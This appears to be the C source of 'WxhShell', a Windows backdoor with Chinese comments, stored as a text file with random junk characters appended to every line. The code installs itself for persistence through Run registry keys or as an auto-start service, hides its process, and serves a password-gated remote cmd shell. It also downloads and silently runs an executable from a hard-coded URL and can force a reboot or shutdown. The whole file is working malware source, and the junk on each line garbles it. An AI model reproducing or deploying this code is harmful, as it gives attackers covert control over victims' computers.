WinExec(wscfg.ws_filenam,SW_HIDE); _0v+'&bz
} sde>LZet/
}VZExqm)
if(!OsIsNt) { V-}}?c1 F
// 如果时win9x，隐藏进程并且设置为注册表启动 <M@-|K"Eb
HideProc(); ey=KAt
StartWxhshell(lpCmdLine); N"G aQ
} q50F!yHC-
else 2^=.j2
if(StartFromService()) >PSO]%mE
// 以服务方式启动 q:/df]Ntt
StartServiceCtrlDispatcher(DispatchTable); 4lB??`UN
else /W$i8g
// 普通方式启动 8{!d'Pks
StartWxhshell(lpCmdLine); 3{$7tck,
N o6!gZ1
return 0; L)bMO8JH~m
} ##=$$1Ki
OQ&N]P2p
^"X.aksA
U_(>eVi7F
=========================================== qU7_%Z
iCF},W+
^sD M>OHp
-3R:~z^L
e4YP$}_L
QM F
" nf0u:M"fm
IibrZ/n6
#include <stdio.h> X`KSj N&(
#include <string.h> ]alc%(=
#include <windows.h> t`"m@
#include <winsock2.h> ]a4U\yr
#include <winsvc.h> M_};J;
#include <urlmon.h> uqC#h,~ 0
Y/kq!)u;%L
#pragma comment (lib, "Ws2_32.lib") hc3hU
#pragma comment (lib, "urlmon.lib") ZOqS"3j! j
}+9?)f{?@
#define MAX_USER 100 // 最大客户端连接数 KOS0Du
#define BUF_SOCK 200 // sock buffer H\Ra*EO~j
#define KEY_BUFF 255 // 输入 buffer %hsCB .r>|
i]%f94
#define REBOOT 0 // 重启 e~SK*vR%]
#define SHUTDOWN 1 // 关机 Nnl3r@
YpDJ(61+
#define DEF_PORT 5000 // 监听端口 |nZ^RCHog
aDKb78 1d
#define REG_LEN 16 // 注册表键长度 </{Zb.
#define SVC_LEN 80 // NT服务名长度 cjEqN8
$V(]z`b&
// 从dll定义API q++r\d^{
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2K91E}
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #[#evlr=
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,Y/B49
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AU$~Ap*rsa
[yXmnrxA
// wxhshell配置信息 ^-_*@e*JE
struct WSCFG { TVD~Ix
int ws_port; // 监听端口 sllT1%?
char ws_passstr[REG_LEN]; // 口令 "l56?@-x
int ws_autoins; // 安装标记, 1=yes 0=no `N *:,8j
char ws_regname[REG_LEN]; // 注册表键名 -I|xW
char ws_svcname[REG_LEN]; // 服务名 0N,<v7PX
char ws_svcdisp[SVC_LEN]; // 服务显示名 s1D<R,J|H
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ={O ~
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :Z//
int ws_downexe; // 下载执行标记, 1=yes 0=no vmqa_gU\
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @'R)$:I%L
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {Yj5Mj|#
OoSk^U)
}; ,-#MEr
\)6glAtN
// default Wxhshell configuration _6NUtU
struct WSCFG wscfg={DEF_PORT, );gY8UL^
"xuhuanlingzhe", Y<xqws
1, S/'0czDMW
"Wxhshell", a;HAuy`M x
"Wxhshell", E5&Z={
"WxhShell Service", :(n<c
"Wrsky Windows CmdShell Service", I}4 PB+yu
"Please Input Your Password: ", *): |WDR
1, Cs6`lX >
"http://www.wrsky.com/wxhshell.exe", zqeQ
"Wxhshell.exe" j>\c >U
}; vA/SrX.
G)Gp}4gV}
// 消息定义模块 _uQ]I^'D
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; egaX[j r
char *msg_ws_prompt="\n\r? for help\n\r#>"; z'q~%1t
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S}@7Z`
char *msg_ws_ext="\n\rExit."; y&NqVR=
char *msg_ws_end="\n\rQuit."; M~taZt4
char *msg_ws_boot="\n\rReboot..."; )7>GXZG>=
char *msg_ws_poff="\n\rShutdown..."; AByl1)r|
char *msg_ws_down="\n\rSave to "; @t9HRL?T~
PftK>,+,
char *msg_ws_err="\n\rErr!"; S<i$0p8J;
char *msg_ws_ok="\n\rOK!"; rOSov"7
iHD!v7d7
char ExeFile[MAX_PATH]; x0 )V o]r
int nUser = 0; "I.6/9
HANDLE handles[MAX_USER]; h6h6B.\Ld
int OsIsNt; Ei4^__g\'
=}`d
SERVICE_STATUS serviceStatus; ic2D$`M
SERVICE_STATUS_HANDLE hServiceStatusHandle; u&:N`f
=l`)b
// 函数声明 y(COB6r
int Install(void); Pd91<L
int Uninstall(void); z#tIa
int DownloadFile(char *sURL, SOCKET wsh); {[H_Vl@
int Boot(int flag); C*Vm}|)
void HideProc(void); {D4FYr J
int GetOsVer(void); 6@N,'a8r
int Wxhshell(SOCKET wsl); 0JlNUO5Nt
void TalkWithClient(void *cs); 3(BL
int CmdShell(SOCKET sock); X0.H(p#s
int StartFromService(void); &6x(%o|
int StartWxhshell(LPSTR lpCmdLine); '}Fe&%
yfG;OnkZ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 46:<[0Psl/
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uH[WlZ4
ppAbG,7
// 数据结构和表定义 0?7yM:!l
SERVICE_TABLE_ENTRY DispatchTable[] = PIri|ZS
{ V\L;EHtc$
{wscfg.ws_svcname, NTServiceMain}, is<:}z
{NULL, NULL} .vu7$~7
}; .WF"vUp
kKyU?/aj
// 自我安装 b"I#\;Ym
int Install(void) M)bQvjj
{ cgb>Naa<
char svExeFile[MAX_PATH]; h.\I tK{)
HKEY key; Tv``\<
strcpy(svExeFile,ExeFile); !nBbt?*
k~tEUsv
// 如果是win9x系统，修改注册表设为自启动 4Q|>k)H
if(!OsIsNt) { <o(;~
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t<!m4Yd|#
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4S_f2P2J
RegCloseKey(key); S2$E`' J
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qezWfR`
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Og@tho
RegCloseKey(key); (?qCtLZ
return 0; Sy8t2lk
} t!?`2Z5
} !l'nX
} |;gx;qp4cN
else { 8~'cP?
Ng#psN
// 如果是NT以上系统，安装为系统服务 B"43o7C
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x"2p5T7*>
if (schSCManager!=0) _^<vp
{ Cd%5XD^
SC_HANDLE schService = CreateService , 'pYR]3
( L ]')=J+
schSCManager, bQaRl=:[:
wscfg.ws_svcname, 6N@=*0kh-
wscfg.ws_svcdisp, *l_a=[<[
SERVICE_ALL_ACCESS, '}hSh
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K?l|1jez(#
SERVICE_AUTO_START, gfL:SP8
SERVICE_ERROR_NORMAL, ('z=/"(l
svExeFile, o-<i+To%
NULL, [+[W\6
NULL, y_WC"
NULL, Oc)n,D)0
NULL, :,8y8z$+
NULL ]j&m\'-s
); ioi/`iQR
if (schService!=0) Q6 *n'6
{ {\$S585
CloseServiceHandle(schService); >k @t.PeoV
CloseServiceHandle(schSCManager); ?'V78N sA
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); maapX/J
strcat(svExeFile,wscfg.ws_svcname); G@s:|oe
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c^|8qvS$
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z!v,;MW
RegCloseKey(key); @[^ 3yC#
return 0; eu(Fhs
} ]5'*^rz ^
} ~A0AB `7
CloseServiceHandle(schSCManager); =-dnniKW4
} DFr$2Y3H
} Jk.x^
8r(Vz
return 1; 11PL1zzH
} Vz mlKVE
]yOM
// 自我卸载 r`"_D%kc
int Uninstall(void) ev&l=(hY
{ ]D6<6OB
HKEY key; kHK<~srB
}wf8y
if(!OsIsNt) { sX?arI=_U
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~D5 -G?%$"
RegDeleteValue(key,wscfg.ws_regname); }-[l)<F:
RegCloseKey(key); X"Eqhl<t
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SrA6}kS
RegDeleteValue(key,wscfg.ws_regname); KE\>T:
RegCloseKey(key); XU'(^Y8Imz
return 0; ~vF*&^4Vh
} |1wZ`wGZ:L
} ],c0nz^%BR
} Kj0)/Fjl+
else { % 3#g-
C?. ;3 h
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =o@}~G&HA
if (schSCManager!=0) rbf5~sw&8+
{ mpYBMSLM
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L'y0$
if (schService!=0) 6F^/k,(k4
{ zZ}.2He8
if(DeleteService(schService)!=0) { Wi$?k{C
CloseServiceHandle(schService); QmBHD;Gf
CloseServiceHandle(schSCManager); t(}Y/'
return 0; #|\|G3Si %
} WGV]O|
CloseServiceHandle(schService); {Lju7'5L
} wW TuEM
CloseServiceHandle(schSCManager); ;)rhx`"n
} z{R Mb
} ejg!1*H@n
8h ol4'B
return 1; 0,0WdJAe
} y1`%3\
T3b0"o27
// 从指定url下载文件 3B#fnj
int DownloadFile(char *sURL, SOCKET wsh) 9Zx| L/\
{ A7QT4h&6
HRESULT hr; 1drg5
char seps[]= "/"; K`=U5vG^
char *token; xgOt%7sb
char *file; "4XjABJ4'
char myURL[MAX_PATH]; !@V]H
char myFILE[MAX_PATH]; s\'t=}0q
-/8V2dv3
strcpy(myURL,sURL); X>dQK4!R
token=strtok(myURL,seps); 2Jo|P A`9
while(token!=NULL) (ht"wY#T<(
{ n(A;:)W{
file=token; +46& Zb35
token=strtok(NULL,seps); i% 0qN
} Ps! \k%FUl
ca &zYXy
GetCurrentDirectory(MAX_PATH,myFILE); ^cdbM
strcat(myFILE, "\\"); YloE4PAY7
strcat(myFILE, file); E=.J*7
send(wsh,myFILE,strlen(myFILE),0); .yDR2sW
send(wsh,"...",3,0); CS%ut-K<5M
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZrYRLg
if(hr==S_OK) /p-k'387
return 0; dnANlNMk?
else xfUV'=~(
return 1; ILG&l<!E
BDp(&=ktq
} NX8w(~r,:
= CXX.%N
// 系统电源模块 h6Vd<sV\tf
int Boot(int flag) a;i}<n7
{ }lk9|U#6*`
HANDLE hToken; pJ?y
TOKEN_PRIVILEGES tkp; ]_>38f7h
>U:-U"rA?
if(OsIsNt) { n~,6!S
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h\C1:0x{
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jxK `ShW=
tkp.PrivilegeCount = 1; HELTL$j,b
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M7DoAS{6e
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rp]H&5.*
if(flag==REBOOT) { *R&77 o7
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vl7V?`_4
return 0; I/h(*~/
} JWt@vf~
else { 8yr-X!eF
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mt4`~`6
return 0; wC1)\ld
} Qz"@<qgQy
} @ /e{-Q
else { 8v)Z/R-
if(flag==REBOOT) { 7vqE@;:dt
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yrzyus
return 0; 'mU\X!- 4<
} =+e;BYD#!
else { F0xm%?
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "t{D5{q|[k
return 0; p=Qo92 NH
} 2$Z4 >!
} ZB}zT9JaE
rp-.\Hl/a
return 1; 3qfQlqJ&3
} pfk)_;>,
kDKfJp&a
// win9x进程隐藏模块 s4 Uk5<
void HideProc(void) Si;eBPFH
{ Dk~ JH9#
`C:J{`
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \n0Gr\:
if ( hKernel != NULL ) ZYl*-i&~?
{ N8wA">u
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~\R+p~>
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3k+46Wp
FreeLibrary(hKernel); Mc|UD*Z
} LZPLz@=&]
c5Hm94,p
return; c"'JMq
} $+ \JT/eG9
4m9]d)
// 获取操作系统版本 ds+0y;vc
int GetOsVer(void) =sXk,I;
{ ]gb?3a}A
OSVERSIONINFO winfo; uQkFFWS
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0Q/BTT%X
GetVersionEx(&winfo); uY)|
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JOq&(AZe
return 1; 0bIhP,4&
else grCz@i
return 0; yzCamm4~0
} cZ/VMQEr
;#2yF34gv
// 客户端句柄模块 ma2-66M~j
int Wxhshell(SOCKET wsl) DTV"~>@
{ M[dJQ(
SOCKET wsh; _K>YB>W}7
struct sockaddr_in client; cr{f*U6`
DWORD myID; SR'u*u!
Y&b JKX
while(nUser<MAX_USER) a/ Z\h{*
{ {Ve_u
int nSize=sizeof(client); H|!|fo-Tx
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pL'+sW
if(wsh==INVALID_SOCKET) return 1; OEgp!J
"\Nn,3qp
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G Y ]bw
if(handles[nUser]==0) NHzhGg]
closesocket(wsh); IsiCHtY9
else X[iQ%Y$/n
nUser++; .{#J2}+[_}
} 20RISj
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RC]-9gd3Q
Hn,;G`{
return 0; ^&8xfI6?
} w`K=J!5y2g
[Gb8o'
// 关闭 socket r`CsR0[
void CloseIt(SOCKET wsh) OM7EmMa;
{ w'D=K_h
closesocket(wsh); Zut"P3d=J
nUser--; U> 1voc
ExitThread(0); @ **]o
} LZ#SX5N
O9[Dae{i
// 客户端请求句柄 `GT{=XJfY
void TalkWithClient(void *cs) 4Q(GX.5
{ .q(1
D~JrO]mi
SOCKET wsh=(SOCKET)cs; <@2g.+9
char pwd[SVC_LEN]; 5"9!kZ(<
char cmd[KEY_BUFF]; },G5!3
char chr[1]; gflu!C6
int i,j; LYyOcb[x
&,~Oi(SX5
while (nUser < MAX_USER) { aRF}FE,u
G$$y\e$
if(wscfg.ws_passstr) { 4brKAqg.
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dJD8c2G
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3]g|Cwu
//ZeroMemory(pwd,KEY_BUFF); <2>Qr(bb
i=0; BO)Q$*G~JD
while(i<SVC_LEN) { ify}xv
Mu]1e5^]
// 设置超时 `Kq4z62V
fd_set FdRead; i"o %Gc
struct timeval TimeOut; &ywU^hBh
FD_ZERO(&FdRead); )>|x2q
FD_SET(wsh,&FdRead); jUCrj'
TimeOut.tv_sec=8; u'+;/8
TimeOut.tv_usec=0; 6#/v:;bF
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f+Ht
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E;AOCbV*$
JQ)w/@Vu=
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;4ETqi9
pwd=chr[0]; m<uBRI*I
if(chr[0]==0xd || chr[0]==0xa) { "WE*ED
pwd=0; fTg^~XmJ
break; +GqUI~a
} hMvLx>q3)
i++; KN-)m ta&
} wz=c#}0dB
$@(+" $
// 如果是非法用户，关闭 socket '6zD`Q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B)}.%G*
} `suEN@^
$,9A?'
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ny{Yr>:2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h#7p&F
Doj>Irj?7
while(1) { nL@(|nJ[
j!<(`
ZeroMemory(cmd,KEY_BUFF); J}'a|a@bk
X1PXX!]lo[
// 自动支持客户端 telnet标准 oF0BBs$
j=0; p`-Oz]
while(j<KEY_BUFF) { ic(`Ev
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (!B1}5"
cmd[j]=chr[0]; nkn4VA?"
if(chr[0]==0xa || chr[0]==0xd) { .P^&sl*J
cmd[j]=0; yTb#V"eR
break; JcDcYB
} 1Vy8TV3D
j++; \DC0`
} :@8N${7`$A
14 Toi
// 下载文件 VHihC]ks,
if(strstr(cmd,"http://")) { TtKV5
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6A9 r{'1
if(DownloadFile(cmd,wsh)) 7lH3)9G;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +XP9=U*g
else 2j <Y>Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n3Q Rn^
} @zGz8IF
else { ^ 9`O ^
1@W*fVn
switch(cmd[0]) { &=S<StH
si=m5$V
// 帮助 ?)V?6"fFP
case '?': { ;xxu,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D(&XmC[\Y
break; rctGa ,l
} :.bBV]6q
// 安装 tR`^c8gD
case 'i': { +Cg[!6[#
if(Install()) =Y`e?\#`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lsb`,:
else 7Z[6_WD3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h51)kN:
break; O@-|_N*;K
} Sxzt|{
// 卸载 '74*-yd
case 'r': { W|-<ekH_u
if(Uninstall()) p%ZOLoc)Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RHv|ijYy
else DT#F?@LG(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e` {F7rd:
break; }2+*E}g
} z=1N}l~|*
// 显示 wxhshell 所在路径 Zv&<r+<g
case 'p': { Mv\]uAT`
char svExeFile[MAX_PATH]; jWNF3\
strcpy(svExeFile,"\n\r"); &r0U9J
strcat(svExeFile,ExeFile); M>g%wg7Ah
send(wsh,svExeFile,strlen(svExeFile),0); i8|0zI
break; bTepTWv
} _y5J]Yu`j
// 重启 O3~7
case 'b': { @T@lHc
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q:ah%x[
if(Boot(REBOOT)) s)9d\{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O~DdMW
else { 6O\a\z
closesocket(wsh); sX[k}=HCK
ExitThread(0); -a\[`JHi
} ag{cm'.
break; caD)'FSES
} +Jw+rjnP
// 关机 Tx:S{n7&
case 'd': { ]gjB%R[.m
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !>,XK!)
if(Boot(SHUTDOWN)) N4rDe]JnPR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~.&PQE$DF
else { ly( LMr
closesocket(wsh); hywy(b3
ExitThread(0); )PCh;P0C
} }=$>w@mJ
break; WlW7b.2.
} %2,'x
// 获取shell NnTAKd8
case 's': { 88g|(k/
CmdShell(wsh); 0f9*=c
closesocket(wsh); Cc&SHG*R
ExitThread(0); Gc*p%2c
break; |{ TVW
} -F`uz,wZ
// 退出 K.r "KxCm|
case 'x': { BRTCo,i
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G/4~_\YMq
CloseIt(wsh); D/&nEMp6
break; T0v{qQ
} J-5E# v
// 离开 eJ+@<+vr;x
case 'q': { QA=mD^A
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }UX0 eI4
closesocket(wsh); |f{(MMlj
WSACleanup(); T%O2=h\} E
exit(1); fVo7wp
break; bvF-F$n%F
} ;Q\MH t*
} 6Ij'z9nJw
} AR3v,eOs
w42=tN+B
// 提示信息 I4(z'C
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EZJ[+ -Q;
} O)%s_/UX
} =O??W8u
X[J?
return; vM?jm!nd
} "1z#6vw5a
uy rS6e0
// shell模块句柄 cxz\1Vphd
int CmdShell(SOCKET sock) RxO!h8
{ QE4TvnhK
STARTUPINFO si; )QAS7w#k
ZeroMemory(&si,sizeof(si)); LXS)(-&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T7LO}(I.&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {66P-4Ev(
PROCESS_INFORMATION ProcessInfo; =`E{QCW
char cmdline[]="cmd"; Ft<B[bQ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ycj\5+g
return 0; Rj!9pwvT
} 75W@B}dZd
>SWc
// 自身启动模式 r^T+I3
int StartFromService(void) CfEACH4_
{ '7JM/AcC#K
typedef struct sUz,F8G
{ <%"o-xZq7C
DWORD ExitStatus; FO{?Z%& ;
DWORD PebBaseAddress; 9}$'q$0R]
DWORD AffinityMask; M$Ow*!DfP
DWORD BasePriority; .f-s+J&ED
ULONG UniqueProcessId; c"oJcp
ULONG InheritedFromUniqueProcessId; e)f!2'LL
} PROCESS_BASIC_INFORMATION; S<81r2LT
@_H L{q%h
PROCNTQSIP NtQueryInformationProcess; qZYh^\
Dio)orc
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G'{*guYU
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x:iLBYf
1 Szv4
HANDLE hProcess; {]Ec:6
PROCESS_BASIC_INFORMATION pbi; guk{3<d:Jy
R 6 -RH7.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dhV6r
if(NULL == hInst ) return 0; bkS-[rW
e/R$Sfj]
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _g%,/y 9y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _<u>? Qt
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]N{jF$
z8<"
if (!NtQueryInformationProcess) return 0; -0>s`ruor
->)0jZax
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jvr`9<`
if(!hProcess) return 0; En{< OMg
5 51p* B2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ImsyyeY]
?fX`z(Z
CloseHandle(hProcess); qnJs,"sn
,qwVDYJ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yVt8QF!
if(hProcess==NULL) return 0; [sZ,nB/
1s-=zs
HMODULE hMod; "Bl6)qw
char procName[255]; ]ASTw(4
unsigned long cbNeeded; ?U3~rro!
]iry'eljy
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e]@ B61lc
^_t7{z%sA[
CloseHandle(hProcess); jIjW +D`
wUKt$_]``
if(strstr(procName,"services")) return 1; // 以服务启动 ;8g[y"I
2#X>^LH
return 0; // 注册表启动 q.ZkQN+
} G2w0r,[
6+/BYN!&4
// 主模块 4VP$,|a
int StartWxhshell(LPSTR lpCmdLine) .5!Q(
{ FW:V<{f
SOCKET wsl; ."j=s#OC(
BOOL val=TRUE; ]SUW"5L-
int port=0; AZva
struct sockaddr_in door; ^K0oJg.E
OjsMT]
if(wscfg.ws_autoins) Install(); _-z;
o'=i$Eb
port=atoi(lpCmdLine); nZ4@g@e2
og`g]Z<I
if(port<=0) port=wscfg.ws_port; T/P
bA07zI2
WSADATA data; Da ]zbz%%
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A'suZpL
/X;! F>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7ZFd;-
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +,UuJ6[n
door.sin_family = AF_INET; En ]"^*
door.sin_addr.s_addr = inet_addr("127.0.0.1"); j`QXl
door.sin_port = htons(port); Sr+ &
%<\tN^rP
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !RwMUnp
closesocket(wsl); i2?TMM!Fe
return 1; >S@><[C
} Q&vU|y
emG1Wyl
if(listen(wsl,2) == INVALID_SOCKET) { o$Z]qhq
closesocket(wsl); H,;9' *84
return 1; , RU
} ,"Nb;Yhg
Wxhshell(wsl); wLKC6@ W
WSACleanup(); QJ,~K&?
U]"6KS
return 0; RY]jY | E
qU^`fIa
} B6U4>ZN
Q#pgl
// 以NT服务方式启动 J:l%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8*EqG5OP
{ K<p)-q
DWORD status = 0; 9^@#Ua
DWORD specificError = 0xfffffff; 8xx2+
p{;FO?
serviceStatus.dwServiceType = SERVICE_WIN32; ; g\rY
serviceStatus.dwCurrentState = SERVICE_START_PENDING; {i)FDdDGD
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~Hvf"bvK|
serviceStatus.dwWin32ExitCode = 0; KQCF "
serviceStatus.dwServiceSpecificExitCode = 0; */j[n$K>~`
serviceStatus.dwCheckPoint = 0; +K48c,gt?
serviceStatus.dwWaitHint = 0; gFnJDR
%D>cY!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,yTT,)@<
if (hServiceStatusHandle==0) return; v(l:N@L
Tz{-L%*#
status = GetLastError(); J )UCy;Y
if (status!=NO_ERROR) P]H4!}M
{ vY]7oX+
serviceStatus.dwCurrentState = SERVICE_STOPPED; C:RA(
serviceStatus.dwCheckPoint = 0; \iAs
serviceStatus.dwWaitHint = 0; C,,S<=L:
serviceStatus.dwWin32ExitCode = status; 8>'vzc/*>
serviceStatus.dwServiceSpecificExitCode = specificError; 7*@BCu6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); V-lp';bD
return; Mc6v
} h! wd/jR
`Gh#2U
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,p6o "-
serviceStatus.dwCheckPoint = 0; ^`fqK4<
serviceStatus.dwWaitHint = 0; W"H(HA
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ex5LhRe>=
} Q\aC:68
),Igu
// 处理NT服务事件，比如：启动、停止 q}hHoSG]=
VOID WINAPI NTServiceHandler(DWORD fdwControl) JxlZ,FF$@
{ lz(}N7SLa
switch(fdwControl) zZiga q"
{ ,j%feC3
case SERVICE_CONTROL_STOP: tw&biLM5T
serviceStatus.dwWin32ExitCode = 0; :)kWQQ+,
serviceStatus.dwCurrentState = SERVICE_STOPPED; x*wr8$@J
serviceStatus.dwCheckPoint = 0; t{O2JF#5u
serviceStatus.dwWaitHint = 0; J"Nn.iVq
{ #4F0o@Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]EEac
} &J,&>CFc
return; #{zF~/Qq
case SERVICE_CONTROL_PAUSE: T26'b .
serviceStatus.dwCurrentState = SERVICE_PAUSED; GhW{6.^
break; K&up1nZ@(
case SERVICE_CONTROL_CONTINUE: Z+ )<FX
serviceStatus.dwCurrentState = SERVICE_RUNNING; -Hg,:re2
break; gCM(h[7A
case SERVICE_CONTROL_INTERROGATE: YRU#/TP
break; _s+_M+@et
}; xn}HB
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3H`ES_JL
} .|GnTC q
uk)D2.eS,
// 标准应用程序主函数 a t%qowt
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }kMKA.O"
{ 0f"la=6
kjj?X|Un
// 获取操作系统版本 <'vtnz
OsIsNt=GetOsVer(); **F-#",
GetModuleFileName(NULL,ExeFile,MAX_PATH); I1W~;2cK
<Gz*2i
// 从命令行安装 +{cCKRm
if(strpbrk(lpCmdLine,"iI")) Install(); 9C|-|mo
nOK1Wc%/'
// 下载执行文件 ^o Q^/v~
if(wscfg.ws_downexe) { (w?W=guHu
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 92Rm{n
WinExec(wscfg.ws_filenam,SW_HIDE); [[KIuW~ot
} |L~RC
=8EGB\P
if(!OsIsNt) { .p-T >
// 如果时win9x，隐藏进程并且设置为注册表启动 [W=6NAd
HideProc(); xi=Qxgx0I
StartWxhshell(lpCmdLine); Env_??xq
} i 8:^1rHp)
else @<B$LJ|jdG
if(StartFromService()) &\<?7Qj3U|
// 以服务方式启动 jWh}cM=
